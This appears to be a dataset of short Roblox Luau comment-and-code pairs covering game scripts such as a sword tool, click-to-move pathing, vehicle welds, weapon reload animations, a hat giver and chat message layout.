local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character
if humanoid~=nil and humanoid ~= hum and hum ~= nil then
-- final check, make sure sword is in-hand
local right_arm = vCharacter:FindFirstChild("Right Arm")
if (right_arm ~= nil) then
local joint = right_arm:FindFirstChild("RightGrip")
if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
tagHumanoid(humanoid, vPlayer)
humanoid:TakeDamage(damage)
wait(1)
untagHumanoid(humanoid)
end
end
end
end
function tagHumanoid(humanoid, player)
local creator_tag = Instance.new("ObjectValue")
creator_tag.Value = player
creator_tag.Name = "creator"
creator_tag.Parent = humanoid
end
function untagHumanoid(humanoid)
if humanoid ~= nil then
local tag = humanoid:findFirstChild("creator")
if tag ~= nil then
tag.Parent = nil
end
end
end
function attack()
damage = slash_damage
SlashSound:play()
local anim = Instance.new("StringValue")
anim.Name = "toolanim"
anim.Value = "Slash"
anim.Parent = Tool
end
function lunge()
damage = lunge_damage
LungeSound:play()
local anim = Instance.new("StringValue")
anim.Name = "toolanim"
anim.Value = "Lunge"
anim.Parent = Tool
local force = Instance.new("BodyVelocity")
force.velocity = Vector3.new(0,10,0) --Tool.Parent.Torso.CFrame.lookVector * 80
force.Parent = Tool.Parent.HumanoidRootPart
wait(.25)
swordOut()
wait(.25)
force.Parent = nil
wait(.5)
swordUp()
damage = slash_damage
end
function swordUp()
Tool.GripForward = Vector3.new(-1,0,0)
Tool.GripRight = Vector3.new(0,1,0)
Tool.GripUp = Vector3.new(0,0,1)
end
function swordOut()
Tool.GripForward = Vector3.new(0,0,1)
Tool.GripRight = Vector3.new(0,-1,0)
Tool.GripUp = Vector3.new(-1,0,0)
end
function swordAcross()
-- parry
end
Tool.Enabled = true
local last_attack = 0
function onActivated()
if not Tool.Enabled then
return
end
Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character.Humanoid
if humanoid == nil then
print("Humanoid not found")
return
end
local t = r.Stepped:wait()
if (t - last_attack < .2) then
lunge()
else
attack()
end
last_attack = t
--wait(.5)
Tool.Enabled = true
end
function onEquipped()
UnsheathSound:play()
end
script.Parent.Activated:connect(onActivated)
script.Parent.Equipped:connect(onEquipped)
connection = sword.Touched:connect(blow)
|
--Public developer facing functions
|
function ClickToMove:SetShowPath(value)
ShowPath = value
end
function ClickToMove:GetShowPath()
return ShowPath
end
function ClickToMove:SetWaypointTexture(texture)
ClickToMoveDisplay.SetWaypointTexture(texture)
end
function ClickToMove:GetWaypointTexture()
return ClickToMoveDisplay.GetWaypointTexture()
end
function ClickToMove:SetWaypointRadius(radius)
ClickToMoveDisplay.SetWaypointRadius(radius)
end
function ClickToMove:GetWaypointRadius()
return ClickToMoveDisplay.GetWaypointRadius()
end
function ClickToMove:SetEndWaypointTexture(texture)
ClickToMoveDisplay.SetEndWaypointTexture(texture)
end
function ClickToMove:GetEndWaypointTexture()
return ClickToMoveDisplay.GetEndWaypointTexture()
end
function ClickToMove:SetWaypointsAlwaysOnTop(alwaysOnTop)
ClickToMoveDisplay.SetWaypointsAlwaysOnTop(alwaysOnTop)
end
function ClickToMove:GetWaypointsAlwaysOnTop()
return ClickToMoveDisplay.GetWaypointsAlwaysOnTop()
end
function ClickToMove:SetFailureAnimationEnabled(enabled)
PlayFailureAnimation = enabled
end
function ClickToMove:GetFailureAnimationEnabled()
return PlayFailureAnimation
end
function ClickToMove:SetIgnoredPartsTag(tag)
UpdateIgnoreTag(tag)
end
function ClickToMove:GetIgnoredPartsTag()
return CurrentIgnoreTag
end
function ClickToMove:SetUseDirectPath(directPath)
UseDirectPath = directPath
end
function ClickToMove:GetUseDirectPath()
return UseDirectPath
end
function ClickToMove:SetAgentSizeIncreaseFactor(increaseFactorPercent)
AgentSizeIncreaseFactor = 1.0 + (increaseFactorPercent / 100.0)
end
function ClickToMove:GetAgentSizeIncreaseFactor()
return (AgentSizeIncreaseFactor - 1.0) * 100.0
end
function ClickToMove:SetUnreachableWaypointTimeout(timeoutInSec)
UnreachableWaypointTimeout = timeoutInSec
end
function ClickToMove:GetUnreachableWaypointTimeout()
return UnreachableWaypointTimeout
end
function ClickToMove:SetUserJumpEnabled(jumpEnabled)
self.jumpEnabled = jumpEnabled
if self.touchJumpController then
self.touchJumpController:Enable(jumpEnabled)
end
end
function ClickToMove:GetUserJumpEnabled()
return self.jumpEnabled
end
function ClickToMove:MoveTo(position, showPath, useDirectPath)
local character = Player.Character
if character == nil then
return false
end
local thisPather = Pather(position, Vector3.new(0, 1, 0), useDirectPath)
if thisPather and thisPather:IsValidPath() then
HandleMoveTo(thisPather, position, nil, character, showPath)
return true
end
return false
end
return ClickToMove
|
--Weld stuff here
|
MakeWeld(car.Misc.BP.SS,car.DriveSeat,"Motor",.1)
ModelWeld(car.Misc.BP.Parts,car.Misc.BP.SS)
MakeWeld(car.Misc.GP.SS,car.DriveSeat,"Motor",.1)
ModelWeld(car.Misc.GP.Parts,car.Misc.GP.SS)
MakeWeld(car.Misc.CP.SS,car.DriveSeat,"Motor",.1)
ModelWeld(car.Misc.CP.Parts,car.Misc.CP.SS)
car.DriveSeat.ChildAdded:connect(function(child)
if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then
child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)*CFrame.Angles(math.rad(13),0,0)
end
end)
|
-----------------------------------------------------------------------------------------------
|
script.Parent:WaitForChild("Speedo")
script.Parent:WaitForChild("Tach")
script.Parent:WaitForChild("ln")
script.Parent:WaitForChild("Gear")
script.Parent:WaitForChild("Speed")
local player=game.Players.LocalPlayer
local mouse=player:GetMouse()
local car = script.Parent.Parent.Car.Value
car.Body.CarName.Value.VehicleSeat.HeadsUpDisplay = false
local _Tune = require(car["A-Chassis Tune"])
local _pRPM = _Tune.PeakRPM
local _lRPM = _Tune.Redline
local currentUnits = 1
local revEnd = math.ceil(_lRPM/1000)
|
--[=[
@within TableUtil
@function SwapRemoveFirstValue
@param tbl table -- Array
@param v any -- Value to find
@return number?
Performs `table.find(tbl, v)` to find the index of the given
value, and then performs `TableUtil.SwapRemove` on that index.
```lua
local t = {"A", "B", "C", "D", "E"}
TableUtil.SwapRemoveFirstValue(t, "C")
print(t) --> {"A", "B", "E", "D"}
```
:::note Arrays only
This function works on arrays, but not dictionaries.
]=]
|
local function SwapRemoveFirstValue<T>(t: { T }, v: T): number?
local index: number? = table.find(t, v)
if index then
SwapRemove(t, index)
end
return index
end
|
-- Сгорание мобов при входе в радиус деревни
|
local Debris = game:GetService("Debris") -- сервис по автоуничтожению
|
--Public developer facing functions
|
function ClickToMove:SetShowPath(value)
ShowPath = value
end
function ClickToMove:GetShowPath()
return ShowPath
end
function ClickToMove:SetWaypointTexture(texture)
ClickToMoveDisplay.SetWaypointTexture(texture)
end
function ClickToMove:GetWaypointTexture()
return ClickToMoveDisplay.GetWaypointTexture()
end
function ClickToMove:SetWaypointRadius(radius)
ClickToMoveDisplay.SetWaypointRadius(radius)
end
function ClickToMove:GetWaypointRadius()
return ClickToMoveDisplay.GetWaypointRadius()
end
function ClickToMove:SetEndWaypointTexture(texture)
ClickToMoveDisplay.SetEndWaypointTexture(texture)
end
function ClickToMove:GetEndWaypointTexture()
return ClickToMoveDisplay.GetEndWaypointTexture()
end
function ClickToMove:SetWaypointsAlwaysOnTop(alwaysOnTop)
ClickToMoveDisplay.SetWaypointsAlwaysOnTop(alwaysOnTop)
end
function ClickToMove:GetWaypointsAlwaysOnTop()
return ClickToMoveDisplay.GetWaypointsAlwaysOnTop()
end
function ClickToMove:SetFailureAnimationEnabled(enabled)
PlayFailureAnimation = enabled
end
function ClickToMove:GetFailureAnimationEnabled()
return PlayFailureAnimation
end
function ClickToMove:SetIgnoredPartsTag(tag)
UpdateIgnoreTag(tag)
end
function ClickToMove:GetIgnoredPartsTag()
return CurrentIgnoreTag
end
function ClickToMove:SetUseDirectPath(directPath)
UseDirectPath = directPath
end
function ClickToMove:GetUseDirectPath()
return UseDirectPath
end
function ClickToMove:SetAgentSizeIncreaseFactor(increaseFactorPercent)
AgentSizeIncreaseFactor = 1.0 + (increaseFactorPercent / 100.0)
end
function ClickToMove:GetAgentSizeIncreaseFactor()
return (AgentSizeIncreaseFactor - 1.0) * 100.0
end
function ClickToMove:SetUnreachableWaypointTimeout(timeoutInSec)
UnreachableWaypointTimeout = timeoutInSec
end
function ClickToMove:GetUnreachableWaypointTimeout()
return UnreachableWaypointTimeout
end
function ClickToMove:SetUserJumpEnabled(jumpEnabled)
self.jumpEnabled = jumpEnabled
if self.touchJumpController then
self.touchJumpController:Enable(jumpEnabled)
end
end
function ClickToMove:GetUserJumpEnabled()
return self.jumpEnabled
end
function ClickToMove:MoveTo(position, showPath, useDirectPath)
local character = Player.Character
if character == nil then
return false
end
local thisPather = Pather(position, Vector3.new(0, 1, 0), useDirectPath)
if thisPather and thisPather:IsValidPath() then
-- Clean up previous path
CleanupPath()
HandleMoveTo(thisPather, position, nil, character, showPath)
return true
end
return false
end
return ClickToMove
|
-- << VARIABLES >>
|
local dragInput = Enum.UserInputType.MouseMovement
local clickInput = Enum.UserInputType.MouseButton1
local touchInput = Enum.UserInputType.Touch
|
--- Event handler for text box focus lost
|
function Window:LoseFocus(submit)
local text = Entry.TextBox.Text
self:ClearHistoryState()
if Gui.Visible and not GuiService.MenuIsOpen then
-- self:SetEntryText("")
Entry.TextBox:CaptureFocus()
elseif GuiService.MenuIsOpen and Gui.Visible then
self:Hide()
end
if submit and self.Valid then
wait()
self:SetEntryText("")
self.ProcessEntry(text)
elseif submit then
self:AddLine(self._errorText, Color3.fromRGB(255, 153, 153))
end
end
function Window:TraverseHistory(delta)
local history = self.Cmdr.Dispatcher:GetHistory()
if self.HistoryState == nil then
self.HistoryState = {
Position = #history + 1;
InitialText = self:GetEntryText();
}
end
self.HistoryState.Position = math.clamp(self.HistoryState.Position + delta, 1, #history + 1)
self:SetEntryText(
self.HistoryState.Position == #history + 1
and self.HistoryState.InitialText
or history[self.HistoryState.Position]
)
end
function Window:ClearHistoryState()
self.HistoryState = nil
end
function Window:SelectVertical(delta)
if self.AutoComplete:IsVisible() and not self.HistoryState then
self.AutoComplete:Select(delta)
else
self:TraverseHistory(delta)
end
end
local lastPressTime = 0
local pressCount = 0
|
-- @specs https://www.ibm.com/design/language/elements/motion/basics
| |
--[[
Start
]]
|
if PATROL_ENABLED then
coroutine.wrap(function()
patrol()
end)()
end
|
--------------------) Settings
|
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 5 -- cooldown for use of the tool again
BoneModelName = "Insanity knife zone" -- name the zone model
HumanoidName = "Humanoid"-- the name of player or mob u want to damage
|
--[[ Top Level Roblox Services ]]
|
--
local PlayersService = game:GetService("Players")
|
-- Every valid configuration value should be non-nil in this table.
|
local defaultConfig = {
-- Enables asserts for internal Roact APIs. Useful for debugging Roact itself.
["internalTypeChecks"] = false,
-- Enables stricter type asserts for Roact's public API.
["typeChecks"] = false,
-- Enables storage of `debug.traceback()` values on elements for debugging.
["elementTracing"] = false,
-- Enables validation of component props in stateful components.
["propValidation"] = false,
}
|
-- Define the function to open or close the window with gene-alike effect
|
local function toggleWindow()
if window.Visible then
-- Close the window by tweening back to the button position and size
window:TweenSizeAndPosition(
UDim2.new(0, 0, 0, 0),
UDim2.new(0, aFinderButton.AbsolutePosition.X, 0, aFinderButton.AbsolutePosition.Y),
'Out',
'Quad',
0.2,
false,
function()
window.Visible = false
msgbar.Fucus.Disabled = true
end
)
end
end
|
-- Define the maximum fall distance before taking damage
|
local MAX_FALL_DISTANCE = 15
|
-- find instigator tag
|
local creator = script.Parent:findFirstChild("creator")
if creator ~= nil then
e.Hit:connect(function(part, distance) onPlayerBlownUp(part, distance, creator) end)
end
e.Parent = game.Workspace
shell.Transparency = 1
wait(2)
shell:Remove()
|
--//Client Animations
|
IdleAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() -- require(script).FakeRightPos (For fake arms) | require(script).RightArmPos (For real arms)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).LeftPos}):Play() -- require(script).FakeLeftPos (For fake arms) | require(script).LeftArmPos (For real arms)
end;
StanceDown = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()
wait(0.3)
end;
StanceUp = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -1.85, -1.25) * CFrame.Angles(math.rad(-160), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(.65,-0.75,-1.15) * CFrame.Angles(math.rad(-170),math.rad(60),math.rad(15))}):Play()
wait(0.3)
end;
Patrol = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.75, -.9, -1.6) * CFrame.Angles(math.rad(-80), math.rad(-70), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.75,0.75,-1) * CFrame.Angles(math.rad(-90),math.rad(-45),math.rad(-25))}):Play()
wait(0.3)
end;
SprintAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()
wait(0.3)
end;
EquipAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()
wait(0.1)
objs[5].Handle:WaitForChild("AimUp"):Play()
ts:Create(objs[2],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).RightPos}):Play()
ts:Create(objs[3],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).LeftPos}):Play()
wait(0.5)
end;
ZoomAnim = function(char, speed, objs)
--ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play()
ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new(-0.2, 0.21, 0)*CFrame.Angles(0, 0, math.rad(90))*CFrame.new(0.225, -0.75, 0)}):Play()
wait(0.3)
end;
UnZoomAnim = function(char, speed, objs)
--ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play()
ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new()}):Play()
wait(0.3)
end;
ChamberAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(0.6, -0.165, -1) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(-85))}):Play()
ts:Create(objs[3],TweenInfo.new(0.35),{C1 = CFrame.new(-0.15,0.05,-1.2) * CFrame.Angles(math.rad(-120),math.rad(15),math.rad(15))}):Play()
wait(0.35)
objs[5].Bolt:WaitForChild("SlidePull"):Play()
ts:Create(objs[3],TweenInfo.new(0.25),{C1 = CFrame.new(-0.15,-0.275,-1.175) * CFrame.Angles(math.rad(-120),math.rad(15),math.rad(15))}):Play()
ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].BoltExtend) * CFrame.Angles(0,math.rad(0),0)}):Play()
ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].SlideExtend) * CFrame.Angles(0,math.rad(0),0)}):Play()
wait(0.3)
objs[5].Bolt:WaitForChild("SlideRelease"):Play()
ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
end;
ChamberBKAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(0.6, -0.165, -1) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(-85))}):Play()
ts:Create(objs[3],TweenInfo.new(0.35),{C1 = CFrame.new(-0.15,0.05,-1.2) * CFrame.Angles(math.rad(-120),math.rad(15),math.rad(15))}):Play()
wait(0.35)
objs[5].Bolt:WaitForChild("SlidePull"):Play()
ts:Create(objs[3],TweenInfo.new(0.25),{C1 = CFrame.new(-0.15,-0.275,-1.175) * CFrame.Angles(math.rad(-120),math.rad(15),math.rad(15))}):Play()
ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].BoltExtend) * CFrame.Angles(0,math.rad(0),0)}):Play()
ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].SlideExtend) * CFrame.Angles(0,math.rad(0),0)}):Play()
wait(0.3)
objs[5].Bolt:WaitForChild("SlideRelease"):Play()
ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
end;
CheckAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.8) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
wait(.35)
local MagC = objs[5]:WaitForChild("Mag"):clone()
objs[5].Mag.Transparency = 1
MagC.Parent = objs[5]
MagC.Name = "MagC"
MagC.Transparency = 0
local MagCW = Instance.new("Motor6D")
MagCW.Part0 = MagC
MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm")
MagCW.Parent = MagC
MagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild("Left Arm").CFrame)
ts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(-0.2, 0.5, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.4,0.275,-2.5) * CFrame.Angles(math.rad(-120),math.rad(0),math.rad(7.5))}):Play()
objs[5].Handle:WaitForChild("MagOut"):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.15,0.475,-1.5) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(0))}):Play()
wait(1.5)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.4,0.275,-2.5) * CFrame.Angles(math.rad(-120),math.rad(0),math.rad(7.5))}):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.8) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
objs[5].Handle:WaitForChild("MagIn"):Play()
MagC:Destroy()
objs[5].Mag.Transparency = 0
wait(0.3)
end;
ShellInsertAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-115), math.rad(-2), math.rad(9))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.55,-0.4,-1.15) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play()
wait(0.3)
objs[5].Handle:WaitForChild("ShellInsert"):Play()
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-110), math.rad(-2), math.rad(9))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.6,-0.3,-1.1) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play()
objs[6].Value = objs[6].Value - 1
objs[7].Value = objs[7].Value + 1
wait(0.3)
end;
ReloadAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.8) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
wait(0.5)
objs[5].Mag.Transparency = 1
objs[5].Handle:WaitForChild("MagOut"):Play()
local MagC = objs[5]:WaitForChild("Mag"):clone()
MagC.Parent = objs[5]
MagC.Name = "MagC"
MagC.Transparency = 0
local MagCW = Instance.new("Motor6D")
MagCW.Part0 = MagC
MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm")
MagCW.Parent = MagC
MagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild("Left Arm").CFrame)
ts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(-0.2, 0.5, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[2],TweenInfo.new(0.5),{C1 = CFrame.new(-0.875, 0, -1.35) * CFrame.Angles(math.rad(-100), math.rad(-2), math.rad(7.5))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.4,0.275,-2.5) * CFrame.Angles(math.rad(-120),math.rad(0),math.rad(7.5))}):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.6),{C1 = CFrame.new(1.195,1.4,-0.5) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0))}):Play()
wait(1.5)
ts:Create(objs[2],TweenInfo.new(0.4),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.4,0.275,-2.5) * CFrame.Angles(math.rad(-120),math.rad(0),math.rad(7.5))}):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.8) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
ts:Create(objs[2],TweenInfo.new(0.1),{C1 = CFrame.new(-0.875, 0, -1.125) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
objs[5].Handle:WaitForChild("MagIn"):Play()
MagC:Destroy()
objs[5].Mag.Transparency = 0
if (objs[6].Value - (objs[8].Ammo - objs[7].Value)) < 0 then
objs[7].Value = objs[7].Value + objs[6].Value
objs[6].Value = 0
--Evt.Recarregar:FireServer(objs[5].Value)
elseif objs[7].Value <= 0 then
objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value)
--Evt.Recarregar:FireServer(objs[5].Value)
objs[7].Value = objs[8].Ammo
objs[9] = false
elseif objs[7].Value > 0 and objs[9] and objs[8].IncludeChamberedBullet then
objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) - 1
--objs[10].Recarregar:FireServer(objs[6].Value)
objs[7].Value = objs[8].Ammo + 1
elseif objs[7].Value > 0 and objs[9] and not objs[8].IncludeChamberedBullet then
objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value)
--Evt.Recarregar:FireServer(objs[5].Value)
objs[7].Value = objs[8].Ammo
end
wait(0.55)
end;
|
-- (Hat Giver Script - Loaded.)
|
debounce = true
function onTouched(hit)
if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
debounce = false
h = Instance.new("Hat")
p = Instance.new("Part")
h.Name = "Yellow Metal Helm"
p.Parent = h
p.Position = hit.Parent:findFirstChild("Head").Position
p.Name = "Handle"
p.formFactor = 0
p.Size = Vector3.new(0,-0.25,0)
p.BottomSurface = 0
p.TopSurface = 0
p.Locked = true
script.Parent.Mesh:clone().Parent = p
h.Parent = hit.Parent
h.AttachmentPos = Vector3.new(0,-.1,-0)
wait(5)
debounce = true
end
end
script.Parent.Touched:connect(onTouched)
|
--// Above was taken directly from Util.GetStringTextBounds() in the old chat corescripts.
|
function methods:GetMessageHeight(BaseMessage, BaseFrame, xSize)
xSize = xSize or BaseFrame.AbsoluteSize.X
local textBoundsSize = self:GetStringTextBounds(BaseMessage.Text, BaseMessage.Font, BaseMessage.TextSize, Vector2.new(xSize, 1000))
if textBoundsSize.Y ~= math.floor(textBoundsSize.Y) then
-- HACK Alert. TODO: Remove this when we switch UDim2 to use float Offsets
-- This is nessary due to rounding issues on mobile devices when translating between screen pixels and native pixels
return textBoundsSize.Y + 1
end
return textBoundsSize.Y
end
function methods:GetNumberOfSpaces(str, font, textSize)
local strSize = self:GetStringTextBounds(str, font, textSize)
local singleSpaceSize = self:GetStringTextBounds(" ", font, textSize)
return math.ceil(strSize.X / singleSpaceSize.X)
end
function methods:CreateBaseMessage(message, font, textSize, chatColor)
local BaseFrame = self:GetFromObjectPool("Frame")
BaseFrame.Selectable = false
BaseFrame.Size = UDim2.new(1, 0, 0, 18)
BaseFrame.Visible = true
BaseFrame.BackgroundTransparency = 1
local messageBorder = 8
local BaseMessage = self:GetFromObjectPool("TextLabel")
BaseMessage.Selectable = false
BaseMessage.Size = UDim2.new(1, -(messageBorder + 6), 1, 0)
BaseMessage.Position = UDim2.new(0, messageBorder, 0, 0)
BaseMessage.BackgroundTransparency = 1
BaseMessage.Font = font
BaseMessage.TextSize = textSize
BaseMessage.TextXAlignment = Enum.TextXAlignment.Left
BaseMessage.TextYAlignment = Enum.TextYAlignment.Top
BaseMessage.TextTransparency = 0
BaseMessage.TextStrokeTransparency = 0.75
BaseMessage.TextColor3 = chatColor
BaseMessage.TextWrapped = true
BaseMessage.ClipsDescendants = true
BaseMessage.Text = message
BaseMessage.Visible = true
BaseMessage.Parent = BaseFrame
return BaseFrame, BaseMessage
end
function methods:AddNameButtonToBaseMessage(BaseMessage, nameColor, formatName, playerName)
local speakerNameSize = self:GetStringTextBounds(formatName, BaseMessage.Font, BaseMessage.TextSize)
local NameButton = self:GetFromObjectPool("TextButton")
NameButton.Selectable = false
NameButton.Size = UDim2.new(0, speakerNameSize.X, 0, speakerNameSize.Y)
NameButton.Position = UDim2.new(0, 0, 0, 0)
NameButton.BackgroundTransparency = 1
NameButton.Font = BaseMessage.Font
NameButton.TextSize = BaseMessage.TextSize
NameButton.TextXAlignment = BaseMessage.TextXAlignment
NameButton.TextYAlignment = BaseMessage.TextYAlignment
NameButton.TextTransparency = BaseMessage.TextTransparency
NameButton.TextStrokeTransparency = BaseMessage.TextStrokeTransparency
NameButton.TextColor3 = nameColor
NameButton.Text = formatName
NameButton.Visible = true
NameButton.Parent = BaseMessage
local clickedConn = NameButton.MouseButton1Click:connect(function()
self:NameButtonClicked(NameButton, playerName)
end)
local changedConn = nil
changedConn = NameButton.Changed:connect(function(prop)
if prop == "Parent" then
clickedConn:Disconnect()
changedConn:Disconnect()
end
end)
return NameButton
end
function methods:AddChannelButtonToBaseMessage(BaseMessage, channelColor, formatChannelName, channelName)
local channelNameSize = self:GetStringTextBounds(formatChannelName, BaseMessage.Font, BaseMessage.TextSize)
local ChannelButton = self:GetFromObjectPool("TextButton")
ChannelButton.Selectable = false
ChannelButton.Size = UDim2.new(0, channelNameSize.X, 0, channelNameSize.Y)
ChannelButton.Position = UDim2.new(0, 0, 0, 0)
ChannelButton.BackgroundTransparency = 1
ChannelButton.Font = BaseMessage.Font
ChannelButton.TextSize = BaseMessage.TextSize
ChannelButton.TextXAlignment = BaseMessage.TextXAlignment
ChannelButton.TextYAlignment = BaseMessage.TextYAlignment
ChannelButton.TextTransparency = BaseMessage.TextTransparency
ChannelButton.TextStrokeTransparency = BaseMessage.TextStrokeTransparency
ChannelButton.TextColor3 = channelColor
